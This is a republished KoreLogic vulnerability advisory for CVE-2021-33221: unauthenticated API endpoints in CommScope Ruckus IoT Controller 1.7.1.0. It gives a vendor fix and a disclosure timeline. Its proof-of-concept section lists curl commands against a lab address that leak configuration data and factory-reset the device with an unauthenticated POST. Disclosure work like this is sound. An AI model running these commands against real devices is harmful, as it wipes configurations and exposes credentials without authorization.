Sunday, May 30, 2021

CommScope Ruckus IoT Controller 1.7.1.0 Unauthenticated API Endpoints

KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints

Title: CommScope Ruckus IoT Controller Unauthenticated API Endpoints
Advisory ID: KL-001-2021-001
Publication Date: 2021.05.26
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-001.txt


1. Vulnerability Details

Affected Vendor: CommScope
Affected Product: Ruckus IoT Controller
Affected Version: 1.7.1.0 and earlier
Platform: Linux
CWE Classification: CWE-306: Missing Authentication for Critical Function
CVE ID: CVE-2021-33221


2. Vulnerability Description

Three API endpoints for the IoT Controller are accessible
without authentication. Two of the endpoints result in
information leakage and consumption of computing/storage
resources. The third API endpoint that does not require
authentication allows for a factory reset of the IoT Controller.


3. Technical Description

A "service details" API endpoint discloses system and
configuration information to an attacker without requiring
authentication. This information includes DNS and NTP servers
that the devices uses for time and host resolution. It also
includes the internal hostname and IoT Controller version. A
fully configured device in production may leak other, more
sensitive information (API keys and tokens).

Another API endpoint that can be accessed without authentication
can be used to generate diagnostic/support files. The process
of generating these diagnostic files consumes CPU and disk
utilization. The files can be retrieved, but are encrypted.

The third API endpoint that can be accessed without
authentication will reset the virtual appliance back in to a
factory reset condition - removing the current configuration
of the device.


4. Mitigation and Remediation Recommendation

The vendor has released an updated firmware (1.8.0.0) which
remediates the described vulnerability. Firmware and release
notes are available at:

https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf


5. Credit

This vulnerability was discovered by Jim Becher (@jimbecher)
of KoreLogic, Inc.


6. Disclosure Timeline

2021.03.30 - KoreLogic submits vulnerability details to
CommScope.
2021.03.30 - CommScope acknowledges receipt and the intention
to investigate.
2021.04.06 - CommScope notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline.
2021.04.06 - KoreLogic agrees to extend disclosure embargo if
necessary.
2021.04.30 - CommScope informs KoreLogic that remediation for
this vulnerability will be available inside of the
standard 45 business day timeline. Requests
KoreLogic acquire CVE number for this
vulnerability.
2021.05.14 - 30 business days have elapsed since the
vulnerability was reported to CommScope.
2021.05.17 - CommScope notifies KoreLogic that the patched
version of the firmware will be available the week
of 2021.05.24.
2021.05.19 - KoreLogic requests CVE from MITRE.
2021.05.19 - MITRE issues CVE-2021-33221.
2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
advisory.
2021.05.26 - KoreLogic public disclosure.


7. Proof of Concept

https://192.168.2.220/service/v1/service-details
$ curl -k https://192.168.2.220/service/v1/service-details
{"message": {"ok": 1, "data": {"visionline_password": "sym", "is_vm": true, "dns2": "8.8.4.4", "ibm_gateway_token":
"-", "ntp_server": "ntp.ubuntu.com", "visionline_username": "sym", "vm_reset_pwd": "0", "gateway": "192.168.2.254",
"visionline_ip": "-", "netmask": "255.255.255.0", "ip_address": "192.168.2.220", "hostname": "vriot", "version":
"1.6.0.0.42", "ntp_state": "1", "ibm_enabled": "0", "visionline_port": "443", "ibm_org_id": "-", "vm_n1_mode": "0",
"aa_enabled": "0", "ibm_api_token": "-", "cert_expire": "Oct 21 10:09:23 2030 GMT", "common_name":
"local-mqtt.video54.local", "dns": "8.8.8.8", "ibm_gateway_type": "-", "ibm_gateway_id": "-", "ibm_api_key": "-",
"ipv4_mode": "1", "datetime": "01/07/2021 18:46:13"}}}

https://192.168.2.220/service/v1/diagnostic
$ curl -k https://192.168.2.220/service/v1/diagnostic
{"message": {"fileName": "/static/diagnostic/diagnostic_2021-01-07-18-46-58.tar.gz", "ok": 1}}

A POST to the /reset URL does not require authentication:
@app.route('/reset',methods=["POST"])
def reset():
"""
Resets the system to factory condition.
"""

This was tested and confirmed.
$ curl -k https://192.168.2.220/reset -X POST
curl: (52) Empty reply from server
$
$ ping 192.168.2.220
PING 192.168.2.220 (192.168.2.220) 56(84) bytes of data.
From 192.168.2.99 icmp_seq=1 Destination Host Unreachable
^C
--- 192.168.2.220 ping statistics ---
3 packets transmitted, 0 received, +1 errors, 100% packet loss, time 2014ms



The contents of this advisory are copyright(c) 2021
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
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https://www.korelogic.com/about-korelogic.html

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Thanks for everything Templateism - You should have written the code a little more complicated